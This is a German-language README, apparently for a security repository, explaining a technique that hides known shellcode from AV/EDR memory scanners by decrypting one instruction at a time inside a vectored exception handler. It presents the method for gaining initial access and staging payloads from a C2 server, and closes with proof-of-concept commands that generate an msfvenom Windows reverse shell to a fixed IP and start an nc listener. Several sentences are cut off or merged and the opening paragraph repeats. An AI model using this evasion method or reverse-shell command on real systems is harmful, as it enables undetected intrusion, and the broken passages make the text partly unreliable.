
Eine Technik, die verwendet werden kann, um AV/EDR-Speicherscanner zu umgehen. Sie kann eingesetzt werden, um bekannte und erkannte Shellcodes (wie msfvenom) zu verbergen, indem einzelne verschlüsselte Assembler-Anweisungen im laufenden Betrieb entschlüsselt werden, wodurch Speicherscanner für diese spezifische Speicherseite nutzlos werden.
Eine Technik, die verwendet werden kann, um AV/EDR-Speicherscanner zu umgehen. Damit lassen sich bekannte und erkannte Shellcodes (wie z. B. msfvenom) verstecken, indem eine On-the-Fly-Entschlüsselung einzelner verschlüsselter Assembly-Anweisungen durchgeführt wird, wodurch Speicherscanner für diese bestimmte Speicherseite nutzlos werden.
Diese Technik erstellt einen PAGE_EXECUTE_READWRITE-Speicherbereich, in dem die verschlüsselten Assembly-Anweisungen gespeichert werden. Der Shellcode wird mit etwas Padding umgeben. Das Programm setzt einen Hardware-Breakpoint (HWBP) auf den Entrypoint des Shellcodes.
Als Nächstes installiert das Programm einen Vectored Exception Handler (VEH). Dieser VEH fungiert im Grunde wie ein Debugger, der den Code im Einzelschritt durchläuft, das Instruction-Pointer-Register (RIP) bei jeder vom VEH empfangenen -Ausnahme liest und die nächsten 16 Bytes (maximale x64-Assembly-Anweisungslänge) entschlüsselt, auf die der RIP zeigt. Der VEH verschlüsselt außerdem die zuvor entschlüsselte Anweisung wieder, sodass der Rest des Shellcodes – mit Ausnahme der einzelnen aktuell ausgeführten Assembly-Anweisung – immer verschlüsselt bleibt. Danach wird die Ausführung mit dem im Eflags-Register fortgesetzt. Dadurch wird sichergestellt, dass die nächste Assembly-Anweisung ebenfalls eine Breakpoint-Ausnahme auslöst, die der VEH behandeln kann.
SINGLE STEPTRAP FLAGNach der Installation des VEH wird die Ausführung des Hauptthreads auf den Payload-Entrypoint umgeleitet. Wenn der HWBP am Entrypoint ausgelöst wird, stoppt der VEH bei jeder ausgeführten Assembly-Anweisung, entschlüsselt die nächste Assembly-Anweisung und verschlüsselt die zuvor entschlüsselte Anweisung, die als globale Variable gespeichert ist.
Dadurch wird im Grunde immer nur eine einzelne Assembly-Anweisung entschlüsselt, während der Rest des Payloads verschlüsselt bleibt.
HINWEIS: Diese Technik ist ideal, um mit einem einfachen Shellcode wie msfvenom oder benutzerdefinierten Reverse-Shells einen ersten Zugang zu erhalten. Sie kann auch als anfänglicher Stage-1-Payload verwendet werden, der den Rest des Payloads vom C2-Server herunterlädt.
HINWEIS: Diese Technik ist nicht mit allen Payloads kompatibel (z. B. mit Reflective Loadern). Nachfolgend finden Sie eine Liste der aktuellen Einschränkungen:
VEH für JEDE ASSEMBLY-ANWEISUNG ausgelöst wird, die im Shellcode ausgeführt wird, wird die Ausführungsgeschwindigkeit des Shellcodes drastisch verlangsamt. Für jede Assembly-Anweisung, die die CPU ausführt, führt der VEH mindestens 300 zusätzliche ASM-Anweisungen aus, um die Entschlüsselung, Verschlüsselung und Wiederherstellung der Ausführung des Hauptthreads durchzuführen. Wenn der jeweilige Shellcode eher auf geringe Größe als auf Leistung optimiert ist (wie msfvenom), ist die Payload-Ausführung langsamer. Es kann über 15 Sekunden dauern (je nach CPU), um einen MSFVENOM auszuführen. Dies liegt daran, dass der von msfvenom verwendete Shellcode Leistung zugunsten einer kleineren Payload-Größe opfert.NtCreateThread oder einen seiner Wrapper in Kernelbase.dll mit dem Entrypoint innerhalb des Shellcodes aufruft, wird der Payload nicht funktionieren, da der VEH für diese Thread-Ausführung nicht ausgelöst wird, da kein HWBP am Entrypoint des neu erstellten Threads installiert ist. (In Arbeit - wird in diesem Repo weiter umgesetzt)Werte/Variablen in sich selbst gespeichert hat (z. B. den Rohstring "powershell.exe", der über einen Offset in einem Aufruf der WinExec-WINAPI referenziert wird) oder eine Zahl an einem Offset gespeichert ist, und der Shellcode später versucht, diese irgendwo zu laden oder zu referenzieren, wird das Programm nicht funktionieren, da die betreffende Variable oder der String verschlüsselt wird und der VEH diese nicht entschlüsselt. Wenn der Shellcode solche Argumente über Assembly-Anweisungen auf den Stack legt (push 0x4141414141414141, um "AAAAAAAA" auf den Stack zu legen, um es in einem Funktionsaufruf zu verwenden), funktioniert diese Technik. (In Arbeit - wird in diesem Repo weiter umgesetzt)So reproduzieren Sie den POC:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

Dieses Repository dient akademischen Zwecken. Die Verwendung dieser Software liegt in Ihrer eigenen Verantwortung.